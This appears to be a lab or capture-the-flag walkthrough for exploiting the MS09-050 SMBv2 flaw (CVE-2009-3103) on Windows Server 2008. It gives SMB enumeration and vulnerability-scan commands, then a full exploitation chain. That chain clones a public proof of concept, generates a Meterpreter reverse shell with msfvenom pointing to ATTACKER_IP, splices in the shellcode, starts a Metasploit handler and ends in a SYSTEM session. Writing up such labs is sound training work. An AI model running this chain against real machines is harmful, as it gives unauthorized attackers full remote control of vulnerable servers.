MS09-050 SMB

Windows Server 2008 SP1 with SMBv2 can be vulnerable to CVE-2009-3103 / MS09-050. On the observed target, replacing the shellcode in a public PoC and running it against TCP/445 opened a Meterpreter session as NT AUTHORITY\SYSTEM.

Discovery

Nmap identified Windows Server 2008 SP1 over SMB:

445/tcp open  microsoft-ds  Windows Server (R) 2008 Standard 6001 Service Pack 1 microsoft-ds

Useful SMB enumeration:

nmap -sV --script smb-enum-shares,smb-enum-users,smb-os-discovery -p139,445 TARGET
python3 enum4linux-ng.py TARGET

Useful indicators:

OS: Windows Server (R) 2008 Standard 6001 Service Pack 1
NetBIOS computer name: INTERNAL
Workgroup: WORKGROUP
SMB 1.0: true
SMB 2.0.2: true
SMB signing required: false

Vulnerability Check

Run nmap's vuln scripts or the specific SMBv2 check:

sudo nmap -sVC -vvv TARGET --script vuln
nmap --script smb-vuln-cve2009-3103 -p445 TARGET

Expected finding:

smb-vuln-cve2009-3103:
  VULNERABLE:
  SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)

Exploitation

Get the PoC:

git clone https://github.com/Sic4rio/CVE-2009-3103---srv2.sys-SMB-Code-Execution-Python-MS09-050-.git
cd CVE-2009-3103---srv2.sys-SMB-Code-Execution-Python-MS09-050-

Generate a Python-formatted Meterpreter payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=443 EXITFUNC=thread -f python

The PoC uses a variable named shell, so replace its shellcode with the generated buf lines renamed to shell:

shell =  b""
shell += b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52"
shell += b"\x30\x8b\x52\x0c\x89\xe5\x8b\x52\x14\x31\xff\x8b"

Start a handler:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
set LPORT 443
run

Run the PoC:

python3 MS09-050.py TARGET

Successful session:

[*] Sending stage (199238 bytes) to TARGET
[*] Meterpreter session 1 opened

Confirm context:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM